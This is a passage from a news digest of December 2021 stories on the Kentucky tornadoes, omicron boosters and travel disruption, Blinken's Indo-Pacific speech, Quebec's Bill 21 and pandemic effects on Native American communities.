	<p>30,000 feet The altitude that debris hurled by the storm reached in the air</p> <p>The strongest of the tornadoes caved in roofs, crumbled walls and pulled up trees. All that debris had to go somewhere and, by some estimates, may have traveled more than 30,000 feet, or more than five and a half miles, into the air.</p> <p>It's unclear whether that sets a record, but it's among the most intense. Plumes of debris lofted into the air by tornadoes, called a debris signature, are picked up by radar and used by forecasters to confirm the existence of a tornado, which can be especially helpful at night or in rural areas where it might not have been spotted.</p>
	<p>750,000 From Arkansas to New York, the total number of customers without power in the aftermath Saturday</p> <p>The tornadoes were part of a sprawling storm system that swept from the Rockies to the Great Lakes. In addition to the twisters, the system also generated damaging straight-line winds topping 60 mph in Michigan and New York. PowerOutage.US, a website that collects information on outages nationally, reported more than 750,000 customers were without power across the country Saturday evening in the storm's aftermath.</p> <p>In the zone affected by tornadoes, more than 100,000 homes and buildings were without power Saturday evening, with the majority of the outages concentrated in hard-hit areas of western Kentucky.</p> <p>In Kentucky and Tennessee, at least 97 power towers and poles were also damaged, including at least 60 high-voltage transmission structures, according to the Tennessee Valley Authority. This is the most debilitating hit on the power grid in the region since the "Super Outbreak" of 2011.</p> <p>Hundreds of linemen and other utility workers worked to restore service on Sunday. But tens of thousands of Americans remained in the dark, and there was limited data on some of the most devastated communities in western Kentucky, suggesting the damage from the tornadoes could be much greater.</p> <p>Work to assess how many homes and businesses have been completely destroyed, or are not safe to enter, is underway. At least 18 Kentucky counties have reported damage, Beshear said Monday.</p>
	<p>500,000 gallons The storage capacity of a water tower in Mayfield, Ky., destroyed by the tornado</p> <p>The tornado activity decimated the city of Mayfield, Ky., and outside of the candle factory collapse, the downtown area was heavily damaged. The historic clock tower crumbled, buildings along the main square became a pile of bricks, and a water tower collapsed.</p> <p>"It looked like a bomb dropped on our town," Ryan Mitchum, who owns a landscaping business in the region and is a Mayfield native, told Washington The Post.</p>
Return to Top	

HEADLINE	12/14 Wealthy push boosters; poor wait for vax
SOURCE	https://www.washingtonpost.com/world/2021/12/14/omicron-boosters-covax/
GIST	Omicron has led to a rush in wealthy nations for boosters. On Sunday evening, British Prime Minister Boris Johnson said the country would aim to offer all eligible adults a booster shot by the end of the year, citing the exponential spread of the new variant.

“A tidal wave of omicron is coming,” Johnson [told the nation](#), “And I’m afraid it is now clear that two doses of vaccine are simply not enough to give the level of protection we all need.”

Other high-income countries are also pushing ahead with boosters, overcoming earlier hesitation about offering extra doses outside of the standard one- or two-dose regimen initially approved, depending on the manufacturer.

“We’re getting booster shots to 1.1 million Americans a day — more people boosted per day than ever before,” White House covid-19 response coordinator [Jeff Zients said](#) told reporters Monday.

But while these extra shots are being administered faster than ever, many people in poorer nations are still waiting for their first doses. Roughly 54 million booster shots had been administered in the United States as of Sunday, compared with 64 million doses administered *in total* in low-income nations, according to Our World in Data. And that gap may soon close: While the pace of vaccination in low-income nations is increasing, all together they have only administered more than a million shots a day three times so far.

According to the World Bank, roughly 665 million people live in countries classified as low income, which means they have a per capita gross national income of less than \$1,045 (around 60 times lower than that of the United States). The vast majority of these countries are in sub-Saharan Africa. War-torn nations like Yemen and Afghanistan also fall into this category.

Boosters have long been held up as a symbol of inequitable access to vaccines. Of the more than 360 million booster shots administered around the world, almost all have been in high-income and upper-middle-income nations. Under 8 million have been administered in lower-middle-income nations, while the number administered in low-income nations is either zero or so close to it that it is negligible.

The booster dichotomy mirrors the wider divide on vaccinations. Just [3.4 percent of the population of low-income nations and 30 percent](#) of lower-middle-income nations are considered fully vaccinated, lagging far behind wealthy nations like the United States and Britain where roughly 60 percent and 70 percent of people have had the full regimen of doses, respectively.

Global efforts to beat vaccine hoarding and inequality have struggled. Covax, an effort backed by the World Health Organization that was designed to pool money to ensure vaccine supply for poorer nations, initially aimed for 2 billion doses to be available in 2021. It is now racing to deliver a far-diminished target of 800 million doses, [as I reported](#) last week.

Omicron has raised new questions about how far even these doses can go. Given the variant’s apparent ability to evade the antibodies created by vaccinations, some experts are suggesting that the definition of being “fully vaccinated” should include booster shots. Even those who have received vaccines that were highly effective against other variants, such as [Pfizer/BioNTech and Moderna](#), both of which use advanced mRNA technology, are being told by Britain’s Johnson and other figures they may need additional doses to be fully immunized against omicron.

It may not stop there. Executives at pharmaceutical [giant Pfizer said last week](#) that the new variant could increase the likelihood that people will need a fourth vaccine dose. So far, U.S. officials have not changed the definition of “fully vaccinated.”

“Right now I don’t see that changing tomorrow or next week,” Anthony S. Fauci, director of the National Institute of Allergy and Infectious Diseases, said during an interview with CNN on Sunday. But he later added: “It’s going to be a matter of when, not if.”

The World Health Organization (WHO) — which had called for a moratorium on booster shots until poor countries gain wider access to initial doses — continues to vocally oppose the additional shots, even as omicron spreads.

“The boosters are, unfortunately, probably not the solution to this,” WHO chief scientist Soumya Swaminathan said during [a press briefing last week](#), stating that the majority of people who die around the world from covid-19 continue to be those who have had no vaccine at all.

The WHO has suggested, however, that individuals who received the less effective Sinovac and Sinopharm [should receive an extra dose](#), as should those who have weakened immune systems.

Key figures [in the Covax initiative](#) have warned that booster campaigns will strain a system in which doses are already sparse.

If extra doses are required to protect against omicron, that means “the world that we characterize as immunized is effectively less immunized than it was before, and so it consumes more doses,” Orin Levine, a vaccinations expert at the Bill & Melinda Gates Foundation, a key backer of the Covax scheme, told me this week.

For now, it may be a theoretical argument. Despite the speed at which omicron is spreading, the vast majority of cases worldwide are still linked to the delta variant. But that could change fast: [British officials have warned](#) that omicron could soon overtake delta, as Johnson confirmed Monday that one death had been linked to omicron.

Even the world’s most vaccinated places are worried. In Brazil’s São Paulo, where officials claim to have vaccinated roughly 100 percent of its adult population, [my colleagues Gabriela Sá Pessoa and Terrence McCoy](#) report that the new variant is being eyed cautiously.

“What we hope, especially with our high rate of vaccination, is that, even in the worst-case scenario, there will only be an increase in the number of cases” and not hospitalizations and deaths, Alexandre Naime Barbosa, head of the epidemiology department at São Paulo State University, told The Post.

But the world’s least-vaccinated places have the most to fear. In the British Medical Journal, [Fatima Hassan, Leslie London and Gregg Gonsalves](#) argue that the emergence of omicron in southern Africa is tied to “uneven and slow access to covid-19 vaccines” that allowed the virus to spread in largely unvaccinated countries.

And that’s not the only problem, they write: “The health and socio-economic burden of covid-19 cases, hospital admissions, and deaths will fall disproportionately on these countries” — the countries where the struggle is for doses, not boosters.

[Return to Top](#)

HEADLINE	12/13 Omicron upends holidays for travelers
SOURCE	https://www.washingtonpost.com/travel/2021/12/13/omicron-canceling-holiday-travel/
GIST	<p>Like so many Americans last holiday season, Emma Webb planned a trip, but it didn’t happen. At the time, she was excited for her father, stepmother and brother in the United Kingdom to meet the baby boy she had shortly before the coronavirus pandemic. Due to a lockdown in Britain, she canceled.</p> <p>This year, she was more hopeful. She booked another flight, looking forward to the visit after two long years that included the death of her mother, her only relative near her home in central Kansas. But in a matter of weeks, as the spread of the omicron variant triggered new travel restrictions worldwide, she has become resigned to a disappointing winter. For Webb and plenty of other international travelers, ramped-up precautions by governments at home and abroad have cast uncertainty over their holiday reunions.</p> <p>“I’m concerned whether my family is ever going to meet my kid.” said Webb, a 44-year-old project manager for a nonprofit. “I can’t see a world where there isn’t another variant that pops up.”</p> <p>‘Very exhausted, very confused’</p>

The latest round of restrictions has been too much for Webb, who expects to postpone her trip because she is concerned about having to self-quarantine overseas or, worse, potentially passing omicron to her elderly father. Because her tickets are nonrefundable, Webb wants to wait a little longer and see if the U.K. alters its travel rules before requesting a flight credit.

In the past two weeks, the U.K. and the Biden administration have both imposed [preflight testing requirements](#) for international visitors. In Britain, arriving travelers have to self-quarantine until they can show a negative test result, and any contact with a suspected omicron case mandates another 10 days of self-isolation.

Webb is far from the only traveler having to cancel or rethink a long-delayed trip. There are at least a half-dozen groups on Facebook dedicated to covid-era travel littered with stories of pandemic restrictions flummoxing planners.

Susan Hiwatashi, who lives in Honolulu with her husband, Hirotaka, and two children ages 7 and 2, looked for answers on a [support group for people trying to enter Japan](#). She had been planning on visiting her elderly in-laws in Hokkaido for the first time since the pandemic began. The last time the grandparents saw their grandchildren, the youngest had just been born.

Hirotaka, a mechanic for Hawaiian Airlines, is a Japanese national, and their children carry Japanese passports. But Hiwatashi is an American citizen and needed a special visa to visit amid Japan's strict pandemic restrictions, so she spent weeks obtaining one this fall.

Then, on Nov. 29, Japan announced that it was [barring all nonresident foreigners from entering the country](#) for one month. A day after the announcement, the Japanese Consulate called Hiwatashi with a notification that her visa was suspended.

"We're careful ... We do everything right. It's frustrating," Hiwatashi said. "Obviously, we are very exhausted, very confused, and very hesitant to make new plans."

Because of their eldest son's school schedule, it is unlikely the family will attempt the trip again until next summer. It has been an especially difficult pill to swallow, Hiwatashi said, because Hirotaka's mother is very ill.

Refunds not a given

Ryan Brill, a 33-year-old English instructor at Kokugakuin University in Tokyo, also had to call off a family reunion because of Japan's stringent restrictions. After losing two grandparents this year, he planned to travel home to Washington state for a memorial service with his family over Christmas. He has not been home in several years and nixed two previous trips during the pandemic.

Brill booked a flight with Delta Air Lines in November, only for the airline to inform him this past week that it would not be able to guarantee entry back to Tokyo. Delta did not grant a refund for the flight but instead it offered to roll the \$7,000 airfare for him and his partner into a credit that he must use within the next year.

"I know [the restrictions are] not Delta's fault. But the right thing to do is to give people their money back," he said.

First reported in mid-November, the omicron variant [has now spread to at least four dozen countries](#), including the United States. While research is ongoing, the variant contains a high number of mutations that, scientists worry, could make it more transmissible, even for those who have been vaccinated or already recovered from the virus.

The variant has thrown into sharp relief the complications and frustrations with travel at this stage of the pandemic.

In early 2020, many airlines began waiving change fees and offering vouchers that cover the full price of tickets. But, although airlines are [legally obligated](#) to provide refunds for canceled or significantly delayed flights, a huge number of customers [have reported](#) companies are failing to pay them back.

The Department of Transportation [said in a September report](#) that within the record number of complaints it received about air travel in the previous 18 months, 84 percent concerned refunds. In the five years before the pandemic, refunds accounted for about 8 percent of the total.

As long as American Airlines continues to operate Webb's flight as scheduled, her tickets to the United Kingdom [do not entitle her](#) to a cash refund. That upsets her given how uncertain travel looks since omicron started spreading. She is unsure when she will be able to make the trip to see her family, and she worries she will end up having to eat thousands of dollars in airfare.

"Our tax dollars have helped bolster the airline industry," she said, "and now I'm sitting here on the other end not only dealing with the frustration and heartbreak of not seeing my family, but with the reality that the travel industry is trying to milk me for as much money as humanly possible."

For Dan Waits, a 30-year-old program manager for Twilio, a cloud communications platform in San Francisco, omicron's emergence has made combing airline booking policies even more important.

Waits and a few friends were supposed to visit Puerto Vallarta, Mexico, this month for their first major vacation since the start of the pandemic. But after omicron emerged, the group thought through the latest restrictions, weighed the risk of having to self-quarantine over Christmas and then decided to cancel the trip. While they were able to roll over the deposit for the Airbnb rental to a trip scheduled in late 2022, Waits said American Airlines is not offering a refund or rebooking for the flight.

"After getting burned on this, I am triple-checking the fine print," Waits said.

Disappointment — and relief

Theodore Atkinson, a 51-year-old attorney for the Department of Justice, wanted to visit London with his 75-year-old mother. The two had originally planned to go last year, but the pandemic quashed those plans. Then, they rescheduled for this December.

However, once the British government revised its travel restrictions, Atkinson and his mother realized that it might be best to cancel a second time. Spending two days in quarantine — and possibly longer — didn't make sense for a one-week vacation.

"This wasn't a once-in-a-lifetime event like a wedding or a funeral. Big Ben is not going anywhere," Atkinson said. "With the uncertainty, the new restrictions, the costs associated with those restrictions, and the possibility of my mother getting a breakthrough case, it just wasn't worth it."

Surprisingly, Atkinson said, the pair felt more relief than disappointment once they canceled.

"It wasn't going to be a relaxing trip," he said. "After we canceled, we celebrated with fish and chips from a local restaurant."

For people whose families already missed one of those once-in-a-lifetime events, however, the calculus is more complicated.

Cris Padua, a 35-year-old virtual assistant in the Philippines, got engaged shortly before the pandemic. She hoped her partner's family would be able to travel from California to attend their wedding. When that became impossible, the couple got married in a small ceremony last September.

When the Philippines announced in November it would begin reopening to vaccinated travelers, the couple thought their families could meet this Christmas.

	<p>But the archipelago again shut down its borders to many foreigners, so the couple has been left canceling bookings and trying to find another place the families can meet — possibly Thailand or Hong Kong.</p> <p>“At some point, we’re just going to have to live with the variants,” Padua said. “Are we going to wait five years for this to all be over? That’s not going to happen. We need to see our families.”</p>
Return to Top	

HEADLINE	12/13 FEMA: December tornadoes ‘new normal’
SOURCE	https://www.washingtonpost.com/nation/2021/12/13/fema-tornadoes-new-normal-climate-change/
GIST	<p>The rising sun illuminated entire cities in ruin as morning broke Saturday in western Kentucky. Piles of bricks appeared where buildings had stood. Roofs torn open revealed mangled furnishings inside. Bicycles and refrigerators dangled from trees like ornaments.</p> <p>The deadly tornadoes that caused devastation in Kentucky and five other states came just a few months after a 7.2-magnitude earthquake rocked Haiti and Category 4 Hurricane Ida tore through the Eastern United States and Atlantic Canada. In an interview Sunday morning on CNN’s “State of the Union,” FEMA Administrator Deanne Criswell said the agency is preparing for severe weather events of similar magnitude.</p> <p>“This is going to be our new normal, and the effects that we’re seeing from climate change are the crisis of our generation,” she said. “We’ll continue to work on helping to reduce the impacts, but we’re also prepared to respond to any community that gets impacted by one of these severe events.”</p> <p>Severe tornadoes are uncommon this late in the year, with December usually considered a quiet month.</p> <p>“We do see tornadoes in December, that part is not unusual, but at this magnitude, I don’t think we’ve ever seen one this late in the year,” Criswell told host Jake Tapper. “The severity and the amount of time this tornado, or these tornadoes, spent on the ground is unprecedented.”</p> <p>As of early Monday, the death toll remained uncertain. Kentucky Gov. Andy Beshear (D) last estimated that some 50 to 100 people in his state were dead.</p> <p>A warming world could add more fuel to tornadoes, scientists say</p> <p>Climate experts who spoke with The Washington Post this weekend said that while global warming creates conditions amenable to tornado formation, it is difficult to conclusively connect tornado events to a changing climate. That’s because the process by which a thunderstorm turns into a tornado involves a complex mix of variables.</p> <p>President Biden told reporters Saturday that he would ask the Environmental Protection Agency and other federal authorities to explore ties between the tornadoes and climate change.</p> <p>“The specific impact on these specific storms, I can’t say at this point. ... But the fact is that we all know everything is more intense when the climate is warming — everything,” the president said.</p>
Return to Top	

HEADLINE	12/13 Kentucky death toll expected to grow
SOURCE	https://www.theguardian.com/us-news/2021/dec/13/kentucky-tornadoes-death-toll
GIST	<p>Kentucky’s governor Andy Beshear broke down in tears on Monday as he announced the deaths of at least 74 people from Friday’s deadly tornadoes that swept across multiple midwest and southern states, and warned that the death toll is expected to grow.</p> <p>The ages of those killed ranged from a few months to 86 years, six of them younger than 18, Beshear said at an emotional press conference in Frankfort, the state capital.</p>

He said that 109 Kentuckians were still unaccounted for and that the eventual number of confirmed deaths might not be known for weeks.

"I know, like the folks of western [Kentucky](#), I'm not doing so well today. And I'm not sure how many of us are," he said, his voice faltering.

Crews continued to sift the devastated ruins of towns across multiple states on Monday as many grieved and survivors shared harrowing tales of their escape.

Kentucky was the worst hit of eight states where dozens of tornadoes whirled through in massive nighttime storms that leveled whole communities.

Across the state, about 26,000 homes and businesses were without electricity, according to [poweroutage.us](#), including nearly all of those in Mayfield. More than 10,000 homes and businesses have no water and another 17,000 are under boil-water advisories, Kentucky Emergency Management Director Michael Dossett told reporters.

Joe Biden declared a major federal disaster in [Kentucky](#), where representatives of a [candle factory in the small city of Mayfield](#) reduced to eight the number they said were still unaccounted for. Another eight of 110 shift workers are known to have died after an unseasonal, record-breaking tornado with whirling winds up to 200mph razed the building.

The US president plans to visit Kentucky on Wednesday.

Federal agencies, Biden said, were "working like the devil" to get affected states the help and resources they needed.

"We have the entire federal team, not just the folks going in and making sure people are still around [or] breathing under the debris," Biden said.

"That's the immediate, urgent thing, just to get food and water to people who don't have it."

But he added he was worried about the mental health of survivors, too, many of whom he said were on fixed or lower incomes.

"What do you do? Where do you go? It's not like if you're making \$16,000 a year you get on the plane and head to your relatives in Washington," he said. "That's what worries me most, the uncertainty. You can see it in people's faces."

As rescuers continued to search the wreckage in Mayfield and across the state, thousands remained without power and water, or homeless.

Bob Ferguson, spokesperson for Mayfield Consumer Products that owns the candle manufacturer, said: "There were some early reports that as many as 70 could be dead in the factory. One is too many, but we thank God that the number is turning out to be far, far fewer."

Kentucky was hit by five tornadoes, authorities said. "One stayed on the ground in Kentucky for at least 200 miles, devastating anything in its path. Thousands of homes are damaged, if not entirely destroyed," Democrat Beshear said.

In addition to the deaths in Kentucky, the tornadoes also killed at least six people in Illinois, where an [Amazon distribution center in Edwardsville](#) was hit; four in Tennessee; two in Arkansas, where a nursing home was destroyed and the governor said workers shielded residents with their own bodies; and two in Missouri.

The federal Occupational Safety and Health Administration announced Monday that it has opened an investigation into the collapse of the Amazon warehouse in Illinois.

Amazon's Kelly Nantel said the Illinois warehouse was "constructed consistent with code". Illinois governor JB Pritzker said there would be an investigation into updating code "given serious change in climate that we are seeing across the country" that appears to factor into stronger tornadoes.

A warehouse worker, David Kosiak, 26, said: "It sounded like a train came through the building. The ceiling tiles came flying down. It was very loud ... We were in the bathrooms. It was at least two and a half hours in there."

Outside a wrecked apartment complex in Mayfield, Kentucky, residents spoke of being trapped in the debris for hours and crying for help as they tried to escape.

Johnny Shreve watched from his window as an office structure across the street disintegrated, then dived onto his kitchen floor as the tornado hit his building and chunks of concrete pelted his body.

"It felt like everything in the world came down on me," he said.

He posted on Facebook that he and his dog were alive, and added: "Y'all pray for Mayfield."

"It blew my mind when the sun came up," Shreve said, when he and others returned to salvage what they could and trade stories of survival.

A local pastor, Joel Cauley, described the scene at the candle factory. "It was almost like you were in a twilight zone. You could smell the aroma of candles, and you could hear the cries of people for help," he said.

"Candle smells and all the sirens is not something I ever expected to experience at the same time."

The factory was reduced to 15-ft deep wreckage of twisted metal, with corrosive chemicals spilled everywhere and smashed cars on top, where the roof had been.

Wanda Johnson, 90, a resident of an apartment block in the nearby town of Wingo, spoke of her windows "bursting" and how she clung to a door frame in an effort to avoid being blown away. "Dear God, help me, please help me get out of here," she recalled saying.

Speaking from a shelter beside her son and granddaughter, Johnson said: "They tell me we don't have a town. Everything's gone. It's just wiped away. It just flipped over our city.

"We don't know where we're going to go. We don't know what's left to go to."

More than 100 others were in the shelter with Johnson. Aid agencies have set up similar facilities in churches, school gymnasiums and community halls across Kentucky and elsewhere to provide warmth, food and clothing.

Michael Dossett, director of Kentucky's division of emergency management, said national guard troops and other agencies were bringing in generators. Power restoration in some areas "will be weeks to months," he said, amid nighttime temperatures below freezing.

"This will go on for years to come," he said. "This is a massive event, the largest and most devastating in Kentucky's history."

Weather experts were analyzing the unprecedented nature and severity of the unseasonal tornadoes.

	More than 80 tornadoes were reported in eight states, prompting Biden to ask the US environmental protection agency to investigate what role the climate crisis might have played.
Return to Top	

HEADLINE	12/14 US warns China: stop 'aggressive actions'
SOURCE	https://www.theguardian.com/us-news/2021/dec/14/antony-blinken-warns-china-to-stop-aggressive-actions-in-asia-pacific
GIST	<p>US secretary of state Antony Blinken has used a visit to Indo-Pacific to urge China to cease “aggressive actions” in the region, as Washington seeks to bolster alliances against Beijing.</p> <p>President Joe Biden’s administration is trying to reset relations and reassert its influence in Asia after the turbulence and unpredictability of the Donald Trump era.</p> <p>Blinken’s comments came in Indonesia, the first leg of a tour of south-east Asia, the latest visit to the region by a senior US official in recent months.</p> <p>In a speech outlining the US approach to the Indo-Pacific, Blinken said Washington would work with allies and partners to “defend the rules-based order” and countries should have the right to “choose their own path”.</p> <p>“That’s why there is so much concern – from north-east Asia to south-east Asia and from the Mekong River to the Pacific Islands – about Beijing’s aggressive actions.</p> <p>“Claiming open seas as their own. Distorting open markets through subsidies to its state-run companies. Denying the exports or revoking deals for countries whose policies it does not agree with.”</p> <p>“Countries across the region want this behaviour to change – we do too,” he said, during the speech at the University of Indonesia in Jakarta.</p> <p>He added that Washington was “determined to ensure freedom of navigation in the South China Sea”, and said Beijing’s actions there threatened the movement of more than \$3tn worth of commerce every year.</p> <p>But Blinken also stressed that “it’s not about a contest between a US-centric region or a China-centric region – the Indo-Pacific is its own region”, and said Washington wanted to avoid conflict there.</p> <p>China claims almost all of the resource-rich South China Sea, with competing claims from four south-east Asian states as well as Taiwan.</p> <p>Beijing has been accused of deploying a range of military hardware including anti-ship and surface-to-air missiles there, and ignored a 2016 international tribunal decision that declared its historical claim over most of the waters to be without basis.</p> <p>Blinken also said Washington wants to ensure “peace and stability in the Taiwan Strait”.</p> <p>US-China tensions have soared over self-ruled, democratic Taiwan, which China claims as its territory and has vowed to retake one day, by force if necessary.</p> <p>Blinken is seeking to highlight south-east Asia’s growing importance to US foreign policy on the trip, even as his administration has to contend with myriad other crises, from Iran to Russia.</p> <p>Countries in the region face an increasingly tough task of trying to maintain good relations with both Beijing – a key trading partner – and Washington, vital to maintaining the region’s security.</p> <p>Russia is also trying to assert its influence in the region.</p>

	<p>After holding talks with Blinken on Monday, Indonesian president Joko Widodo met the Russian security council secretary, Nikolai Patrushev. After Indonesia, Blinken heads to Malaysia and Thailand.</p> <p>The US-China relationship has deteriorated over a range of issues from cybersecurity and tech supremacy to human rights in Hong Kong and Xinjiang.</p> <p>Biden has largely continued Trump's hawkish stance on China, describing the Asian power as the pre-eminent challenge to the United States.</p>
Return to Top	

HEADLINE	12/13 Candle-factory staff worked in tornadoes?
SOURCE	https://www.theguardian.com/us-news/2021/dec/13/kentucky-tornadoes-candle-factory-search-survivors
GIST	<p>The Mayfield Consumer Products factory was the third-biggest employer in this corner of western Kentucky, an important economic engine that churned out candles that lined the shelves of malls around the US.</p> <p>But why its workers kept making scented candles on Friday night as a tornado bore down on the region remains unclear as rescuers continue scouring the factory wreckage for signs of life under what is now 15 feet of twisted metal, poisoned with corrosive chemicals and with wrecked cars on what was the roof.</p> <p>Kentucky's governor said on Sunday the ferocity of the storm was so great that there was nowhere safe to hide inside the plant. The 110 workers on the night shift had about 20 minutes warning that a powerful tornado was bearing down.</p> <p>"It appears most were sheltering in the place they were told to shelter," the governor, Andy Beshear, said. "I hope that area was as safe as it could be, but this thing got hit directly by the strongest tornado we could have possibly imagined."</p> <p>A company spokesperson said Sunday that eight of the 110 workers on the overnight shift Friday are confirmed dead and another eight are missing. For most of Sunday, the authorities had feared that more than 70 of those shift workers were missing and Beshear started saying the death toll was expected to exceed 100 just in Kentucky.</p> <p>But as of Monday morning, more than 90 workers have now reportedly been accounted for, indicating that the final death toll in the state will be lower than most had feared hours earlier.</p> <p>The factory employs many people in and around Mayfield, a city of about 10,000 in Kentucky's south-west corner and is Graves county's biggest employer. Some inmates at the county jail have worked there.</p> <p>Scented candles made in the plant eventually found their way on to the shelves of prominent US retailers like Bath & Body Works. Shifts were going around the clock to fulfill Christmas demand.</p> <p>The company's founder, Mary Propes, in the mid-1990s "started this in her garage and it grew to one of the largest candle-makers", said the company's spokesman Bob Ferguson.</p> <p>Bryanna Travis, 19, and Jarred Holmes, 20, stood vigil near the rubble of the Mayfield candle factory at the weekend where they had worked for months, usually for about \$14.50 an hour. The engaged couple wasn't working when the storm hit.</p> <p>"I worked with these people. I talked to these people. I tried to build connections with these people. And I don't know if one of my friends is gone," Holmes said.</p> <p>Shaniyah McReynolds, who also was lucky enough not to be working at the factory on Friday night, told CNN on Sunday that if the authorities would allow the public close to the dangerous wreckage she would be frantically looking for survivors herself.</p>

“I would be down there digging if they would let me, with my own fingers,” she said.

CEO Troy Propes, the son of Mary Propes, said in the statement: “We’re heartbroken about this, and our immediate efforts are to assist those affected by this terrible disaster. Our company is family-owned and our employees, some who have worked with us for many years, are cherished.”

[Return to Top](#)

HEADLINE	12/13 Quebec removes teacher for wearing hijab
SOURCE	https://www.theguardian.com/world/2021/dec/13/canada-quebec-teacher-removed-classroom-hijab
GIST	<p>The removal of a Canadian teacher for wearing a hijab in the classroom has sparked widespread condemnation of a controversial law in the province of Quebec, which critics say unfairly targets ethnic minorities under the pretext of secularism.</p> <p>Fatemeh Anvari, a third-grade teacher in the town of Chelsea, was told earlier this month that she would no longer be allowed to continue in the role because her headwear ran afoul of Bill 21, a law passed in 2019.</p> <p>Under the measure, public servants in “positions of authority” – including police officers, lawyers, judges, bus drivers, doctors, social workers and teachers – are barred from wearing religious symbols such as turbans, kippahs and hijabs.</p> <p>But the law has an outsized impact on Muslim women and in schools in the province, where 74.5% of teachers are women.</p> <p>“This is not about my article of clothing. This is a bigger issue ... I don’t want this to be a personal thing because that won’t do any good to anyone,” Anvari told CTV News. “I want this to be something in which we all think about how big decisions affect other lives.”</p> <p>Anvari’s dismissal has prompted protests at her school, where students and staff put up green ribbons and posters in support of her.</p> <p>The decision to remove Anvari from the classroom, and to reassign her to a literacy project on diversity and inclusion, has also led to frustration from federal politicians.</p> <p>On Monday, Prime Minister Justin Trudeau said no one should lose their job because of their religion – but refused to intervene, saying he didn’t want to create a fight between Quebec and the federal government.</p> <p>Trudeau said it was important “to ensure that it is Quebecers themselves who deeply disagree with the fact that someone can lose their job because of their religion”.</p> <p>New Democratic party leader Jagmeet Singh said Anvari’s abilities as a teacher were never in doubt, but “because of the way she looked and the way she dressed, she’s no longer able to teach these kids. That is everything that is wrong with this bill.”</p> <p>Conservative MP Kyle Seebach described Anvari’s dismissal as “an absolute disgrace”.</p> <p>While Conservative leader Erin O’Toole said he disagrees with the law, he told reporters he respects provincial jurisdiction and believes Bill 21 is “an issue that is best left for Quebecers to decide”.</p> <p>Federal leaders have been wary of angering voters in Quebec by taking too strong a stand against the law.</p> <p>In Quebec, where the measure has popular support, political leaders defended Bill 21.</p>

	<p>“The reason this teacher doesn’t have a job is because she didn’t respect the law,” said Pascal Bérubé, the Parti Québécois’s critic on secularism. “The law is for everyone. She tried to make a statement wearing a hijab.”</p> <p>Premier Francois Legault called Bill 21 “a reasonable law” adding that Anvari should not have been hired in the first place.</p> <p>Workers hired before March 2019 are still permitted to wear religious symbols at work. But because Anvari became a substitute teaching last spring and signed a new contract in October, she is barred from wearing a hijab in the classroom.</p> <p>Trudeau has said federal intervention would be unlikely to have much effect, given Quebec’s ability to invoke a constitutional override power known as the “notwithstanding clause” which protects the province from claims that it violates rights protected by Canada’s Charter of Rights and Freedoms.</p> <p>English-language schools in the province have fought the law and recently lost a court challenge preventing the bill from going into effect.</p>
	Return to Top

HEADLINE	12/13 China reports first omicron case
SOURCE	https://www.theguardian.com/world/2021/dec/13/mainland-china-reports-first-case-of-omicron-coronavirus-variant
GIST	<p>Mainland China has reported its first case of the highly transmissible Omicron variant in the northern city of Tianjin, posing what could be the biggest threat to date to the country’s zero-Covid strategy.</p> <p>The Chinese authorities reported on Monday that the Omicron case was detected on 9 December from an overseas returnee, who showed no symptoms on arrival. The patient is being quarantined and treated in a designated hospital.</p> <p>At the same time, the eastern province of Zhejiang has been battling a rise in new infections of the Delta variant in recent weeks.</p> <p>Cases of Omicron – first detected in South Africa and labelled a “variant of concern” by the World Health Organization – have now been reported in more than 50 countries. At least one person in the UK has died with Omicron, Boris Johnson said on Monday.</p> <p>Experts say that if not properly controlled, the variant could upend Beijing’s strategy to fully contain the pandemic. Since last year, the method has guaranteed Chinese citizens a largely virus-free life, but it has also been met with criticism by some medical professionals, who argued for an alternative plan to coexist with the virus with a sufficient vaccination rate.</p> <p>The first Omicron case in Tianjin comes as nearby Beijing gears up for the Winter Olympics, which are to be held in February. The Guardian understands the patient has no association with the Games.</p> <p>The arrival of the Omicron variant also coincided with Zhejiang – a province of 65 million people – battling against its first domestic cluster outbreak this year.</p> <p>Among the 80 new locally transmitted cases with symptoms in mainland China on 12 December, 74 were identified in Zhejiang. In October, the province reported just one local case.</p> <p>The outbreak in Zhejiang, a manufacturing hub and home to the e-commerce company Alibaba, led more than a dozen publicly listed companies to halt production on Monday. Their shares fell sharply as a result.</p> <p>The companies said they would comply with the virus control measures imposed by the local government, which will decide when production can resume.</p>

Among the worst affected cities in Zhejiang province is Shaoxing. Since 5 December, 123 of the 192 cases detected in the province were from the city of 5 million. A mass testing programme is under way.

Early this month, the Chinese region of Hong Kong – which runs a separate health system from the mainland – reported its first cases of Omicron. On Monday, the territory reported two additional cases of the variant, bringing the total to seven.

Hong Kong's health authorities said that both cases were imported from the UK, where the [health secretary, Sajid Javid, told MPs on Monday](#) that Omicron now represents 20% of Covid cases in England.

[Return to Top](#)

HEADLINE	12/13 Pandemic impacts Indigenous communities
SOURCE	https://www.theguardian.com/us-news/2021/dec/13/pandemic-challenges-native-american-communities
GIST	<p>Amid the Covid-19 pandemic the president of one of the largest Native American– run non-profits has warned that health and economic disparities are still seriously affecting Indigenous communities, despite some progress achieved by the Biden administration.</p> <p>Josh Arce, president of the Partnerships with Native Americans (PWNA), told the Guardian in an interview that challenges affecting Indigenous groups ranged from health inequities such as high rates of diabetes, heart disease and other illnesses to inadequate infrastructure such as running water and reliable electricity. Nearly all of these problems were worsened by the pandemic.</p> <p>“The issues are, by and large, some of the same issues that we’ve been confronted with but they’ve been really highlighted and exacerbated by Covid-19 throughout the past two and a half years,” said Arce, who added that such challenges “really permeate all aspects of Native life and communities”.</p> <p>For centuries, Indigenous communities in the US have faced challenges in public health, education, infrastructure and other areas, an aftershock of violent colonization and widespread racism.</p> <p>While the Biden administration has marked some progress, such as the appointment of Native American Deb Haaland as secretary of the Interior, an achievement that Arce noted was critical and brought hope to Native communities, Arce warned that more action is needed to ensure more progress for Indigenous communities in the US.</p> <p>“The consultation and the meetings and the tribal input will only go so far until there starts to be some action behind the words that they’re saying and the policies that they want to put in place,” said Arce.</p> <p>Advertisement</p> <p>Like other marginalized communities, Native Americans were disproportionately affected by Covid-19, dying from the virus at twice the rate of white Americans. Health infrastructure in Native American communities, provided through the Indian Health Service, often is substandard , with hospitals and other medical centers generally under-resourced and understaffed, said Arce.</p> <p>Native Americans are also more likely to be uninsured, according to data from the office of minority health in the US Department of Health and Human Services, adding another barrier to tackling complicated health challenges such as the current pandemic. “A tribal hospital system might only have six beds in their ICU, and so you start to run out of space a lot more rapidly than you do in a mainstream system,” said Arce.</p> <p>The pandemic also affected mental health in many Indigenous communities. Native American populations already experience higher death rates from suicide, about 20% higher than non-Hispanic white Americans as of 2019, and higher rates of depression. But isolation and grief triggered by the pandemic has made the mental 